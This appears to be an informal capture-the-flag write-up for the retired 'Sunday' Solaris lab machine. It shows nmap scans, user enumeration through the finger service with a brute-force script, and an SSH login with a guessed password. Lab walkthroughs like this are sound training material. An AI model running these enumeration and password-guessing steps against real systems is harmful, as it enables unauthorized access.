

enumeration

it is an oracle solaris os

```
nmap -sC -sV -sT -oN /home/kali/machines/retired/sunday/nmap.txt
10.10.10.76
```

Starting Nmap 7.91 (<https://nmap.org>) at 2021-01-15 10:55 EST

Nmap scan report for 10.10.10.76

Host is up (0.19s latency).

Not shown: 979 closed ports

PORT	STATE	SERVICE	VERSION
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79/tcp	open	finger	Sun Solaris fingerd
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|_finger: No one logged on\x0D

111/tcp	open	rpcbind	2-4 (RPC #100000)
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119/tcp	filtered	nnntp	
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259/tcp	filtered	esro-gen	
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722/tcp	filtered	unknown	
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801/tcp	filtered	device	
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1042/tcp	filtered	afrog	
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1069/tcp	filtered	cognex-insight	
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1078/tcp	filtered	avocent-proxy	
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1106/tcp	filtered	isoipsigport-1	
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1311/tcp	filtered	rxmon	
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3300/tcp	filtered	ceph	
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5009/tcp	filtered	airport-admin	
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5280/tcp	filtered	xmpp-bosh	
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9010/tcp	filtered	sdr	
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10004/tcp	filtered	emcmirccd	
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10025/tcp	filtered	unknown	
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16018/tcp	filtered	unknown	
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32785/tcp	filtered	unknown	
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41511/tcp	filtered	unknown	
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50002/tcp	filtered	iiimsf	
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Service Info: OS: Solaris; CPE: cpe:/o:sun:sunos

Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .

Nmap done: 1 IP address (1 host up) scanned in 113.96 seconds

we see hell lot of ports

PORT	STATE	SERVICE	VERSION
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```

79/tcp open  finger      Sun Solaris fingerd
|_finger: No one logged on\x0D
111/tcp open  rpcbind      2-4 (RPC #100000)
119/tcp filtered nntp
259/tcp filtered esro-gen
722/tcp filtered unknown
801/tcp filtered device
1042/tcp filtered afrog
1069/tcp filtered cognex-insight
1078/tcp filtered avocent-proxy
1106/tcp filtered isoipsigport-1
1311/tcp filtered rxmon
3300/tcp filtered ceph
5009/tcp filtered airport-admin
5280/tcp filtered xmpp-bosh
9010/tcp filtered sdr
10004/tcp filtered emcirmirccd
10025/tcp filtered unknown
16018/tcp filtered unknown
32785/tcp filtered unknown
41511/tcp filtered unknown
50002/tcp filtered iiimfsf

```

so since all are filtered only 2 are open we gona search them no 80 so no website so no gobuster

lets run searchsploit

so out of 2 we found no vulnerability in rpcbind so the vulnerability has to be in finger

running all the ports we found 22022 is also open which is ssh

```

(root@kali)~[/home/kali]
# nmap -sC -sV 10.10.10.76 -p 22022,33890
Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-17 09:14 EST
Nmap scan report for 10.10.10.76
Host is up (0.21s latency).

PORT      STATE SERVICE      VERSION
22022/tcp open  ssh          SunSSH 1.3 (protocol 2.0)
33890/tcp closed unknown

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 30.94 seconds

```

so we will run solaris to connect and see available users

running some script we have 2 user to work with

```
perl finger-user-enum.pl -U rockyou.txt -t 10.10.10.76
```

we have 2 users

sunny ans sammy

so connecting ssh with sunny

```
ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 sunny@10.10.10.76 -p 22022
```

with password sunday

```
(rootkali)-[~kali]
# ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 sunny@10.10.10.76 -p 22022
Password:
Last login: Tue Apr 24 10:48:11 2018 from 10.10.14.4
Sun Microsystems Inc.    SunOS 5.11      snv_111b      November 2008
sunny@sunday:~$
```

the machine is very buggy we will get user.txt

ham isme aur sar nahi phoodenge